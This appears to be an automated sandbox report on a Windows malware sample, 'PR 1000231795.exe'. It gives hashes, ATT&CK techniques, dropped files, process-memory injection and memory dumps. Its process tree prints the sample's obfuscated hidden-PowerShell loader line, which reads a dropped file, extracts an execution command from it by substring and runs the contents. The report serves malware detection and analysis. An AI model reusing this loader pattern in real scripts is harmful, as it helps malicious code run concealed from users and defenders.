92d1e524ad186c9eee020e49e42a4b420b8ddaa5f2174690295786df3d9f7cd9

General

Target

PR 1000231795.exe
Size

749KB
MD5

cae3afdd724de922b10dd64584e774f1
SHA1

d03bc1c01bd39d1aac23a3bfddf36f47c99f0dcd
SHA256

92d1e524ad186c9eee020e49e42a4b420b8ddaa5f2174690295786df3d9f7cd9
SHA512

8ca15921c8fbd3ecd3cdb05e4587b3836ca71c14032fd80ea50b121e7c7d57e4ba6c58329188649ab52749e631b3fc41fbec56d0ae3160aaee41a0162f2abd8b
SSDEEP

12288:mcBqxnyFHaxV22XOPIUuXiBi/ixxZskvmtPA9Ts0Xz2xZN8EwQUlE7WUC6uI2N6:mGqtyFHaxywzXiumxZNwAy0jmv8XQUOP

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4696	powershell.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Stupidestes112\Exclusionist.big	PR 1000231795.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\divisionally.Acr	PR 1000231795.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3852	4696	WerFault.exe	82

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PR 1000231795.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe
4696	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4696	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 4696	1032	PR 1000231795.exe	82
PID 1032 wrote to memory of 4696	1032	PR 1000231795.exe	82
PID 1032 wrote to memory of 4696	1032	PR 1000231795.exe	82

C:\Users\Admin\AppData\Local\Temp\PR 1000231795.exe
"C:\Users\Admin\AppData\Local\Temp\PR 1000231795.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Sustainment163=Get-Content 'C:\Users\Admin\AppData\Local\pyromanis\Fahrenheittermometret\Harquebusade\Vehefterne\Ewery.Cal';$Underretningernes=$Sustainment163.SubString(702,3);.$Underretningernes($Sustainment163)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4696
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4696 -s 2568
    3⤵
    - Program crash
    PID:3852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 4696 -ip 4696
1⤵
PID:3172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wx1yluth.0ts.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\pyromanis\Fahrenheittermometret\Harquebusade\Vehefterne\Ewery.Cal

Filesize
70KB

MD5
c3441391a31d9f2d0e3a28796b372ed7

SHA1
17b1fbd3ed6e55a2fa9136d58a4c83dfe5b4d8a1

SHA256
c126133825166f5edd56a7bc04f1e62604896b169d2eb23259877e6c3d824da9

SHA512
5f8caf6dd323652d820baa7f6d9e58755edd4defaddc0694c1e2d425834fe47a31b4d2e69164ff7a11c7704497d1bf2d27607bd9d18861f96ae2302ca889e31d

Download Submit
memory/4696-12-0x0000000006290000-0x00000000062F6000-memory.dmp

Filesize
408KB

Download
memory/4696-26-0x0000000006A10000-0x0000000006A5C000-memory.dmp

Filesize
304KB

Download
memory/4696-11-0x0000000005A90000-0x0000000005AB2000-memory.dmp

Filesize
136KB

Download
memory/4696-13-0x0000000006370000-0x00000000063D6000-memory.dmp

Filesize
408KB

Download
memory/4696-9-0x0000000005BB0000-0x00000000061D8000-memory.dmp

Filesize
6.2MB

Download
memory/4696-19-0x0000000073810000-0x0000000073FC0000-memory.dmp

Filesize
7.7MB

Download
memory/4696-7-0x000000007381E000-0x000000007381F000-memory.dmp

Filesize
4KB

Download
memory/4696-24-0x00000000063E0000-0x0000000006734000-memory.dmp

Filesize
3.3MB

Download
memory/4696-25-0x00000000069C0000-0x00000000069DE000-memory.dmp

Filesize
120KB

Download
memory/4696-10-0x0000000073810000-0x0000000073FC0000-memory.dmp

Filesize
7.7MB

Download
memory/4696-27-0x0000000007BF0000-0x0000000007C86000-memory.dmp

Filesize
600KB

Download
memory/4696-28-0x0000000006EF0000-0x0000000006F0A000-memory.dmp

Filesize
104KB

Download
memory/4696-29-0x0000000006F40000-0x0000000006F62000-memory.dmp

Filesize
136KB

Download
memory/4696-30-0x0000000008240000-0x00000000087E4000-memory.dmp

Filesize
5.6MB

Download
memory/4696-8-0x0000000005390000-0x00000000053C6000-memory.dmp

Filesize
216KB

Download
memory/4696-32-0x0000000008E70000-0x00000000094EA000-memory.dmp

Filesize
6.5MB

Download
memory/4696-34-0x0000000073810000-0x0000000073FC0000-memory.dmp

Filesize
7.7MB

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Analysis

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